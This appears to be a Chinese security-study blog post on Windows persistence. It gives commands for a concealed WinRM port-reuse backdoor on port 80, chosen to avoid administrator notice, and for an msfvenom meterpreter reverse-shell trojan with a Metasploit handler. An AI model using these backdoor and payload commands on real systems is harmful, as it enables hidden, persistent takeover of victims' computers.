0
点赞
收藏
分享

微信扫一扫

网安学习日志(7)windows权限维持

开源分享 2022-01-17 阅读 46

什么是权限维持?

在我们通过入侵手段进入对方服务器后,通常会使用一些后门来维持权限

方法诸如隐藏文件,隐藏账户等方法在这里不进行赘述(方法已经落后,容易被工具直接检测出来)

1.端口复用

该后门的基本原理是使用Windows 的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。

WinRM服务

WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。

HTTP.sys驱动

HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可。

使用netsh http show servicestate命令可以查看所有在HTTP.sys上注册过的url前缀。

实际上,WinRM就是在HTTP.sys上注册了wsman的URL前缀,默认监听端口5985。这点从微软公布的WinRM的架构图也可以看出来。
接下来我们将在windows7的操作系统上进行演示。

1.1后门配置

对于端口复用,首先我们得开启winrm服务
在Windows 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口(默认开启)
对于Windows 2008(windows7)来说,需要使用命令来启动WinRM服务,快速配置和启动的命令是

netstat -ano //查看端口信息
winrm qucikconfig -q //添加防火墙规则

在这里插入图片描述
我这里已经打开了服务,所以就可以看到5985端口是打开的

接下来 我们要给winrm添加一个80的监听端口
这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。

x winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

在这里插入图片描述
通俗的来说,端口复用的概念在我们这个实例中,就是将80端口赋于了5985端口的功能

修改winrm的端口
对于windows2008(windows7等等)之前的用户,winrm服务本身是不开启的。
也就是说5985端口在正常情况不开启,那么如果5985开启了,就容易被管理员发现。
我们可以通过以下命令来将其修改为80端口:

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

在这里插入图片描述
经过修改,我们发现5985已经被修改成80端口。
在这里插入图片描述
正常查询中,也找不到5985端口的信息

1.2后门连接和使用

以下的操作都基于你知道了对方的账号和密码

winrs -r:对方的ip地址 -u:账户名 -p:账户密码 whoami

我们分析上面的语句,就不难发现,winrs -r:对方的ip地址 -u:账户名 -p:账户密码语句执行的是通过80端口执行,而whoami就是5985端口执行的
执行一下上述语句

可见我们得到了对方的计算机名称和账户名称
我们把whoami参数改为cmd
在这里插入图片描述
在这里插入图片描述
即我们可以发现我们直接能够使用对方的cmd功能。

其后还有一种hash登录的方式,这里不做演示。

2.进程注入

进程注入,顾名思义,通过一个进程来注入我们所要做的事情。
在注入之前,我们首先要生成一个木马(木马就得要实现免杀,也就是防止杀毒软件直接把我们的木马给杀掉了)
windows下,我们可以使用这种方式来生成一个木马。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
//reverse是反向的意思 -f是format也就是格式的意思

这种木马能一定程度上实现免杀,同时他是一种反弹木马,从防火墙内部指向外部。
在这里插入图片描述
可见,我们创建好了一个demo.exe文件作为我们的木马
这个时候,我们要想到,如果对方启动了我们的木马文件,这个时候就会与我们进行连接,那么我们就应该对我们刚刚设置的6666端口做一个监听。
我们可以通过msfconsole命令进入监听模块

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp //设置文件路径
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.243.130//设置地址
lhost => 192.168.243.130
msf6 exploit(multi/handler) > set lport 6666//设置端口
lport => 6666
msf6 exploit(multi/handler) > exploit  //开启服务

[-] Handler failed to bind to 192.168.243.130:6666:-  -
[*] Started reverse TCP handler on 0.0.0.0:6666 

在这里插入图片描述
当对方一旦开启我们的demo.exe文件,这个时候我们就可以完全的控制对方的计算机了。

举报

相关推荐

0 条评论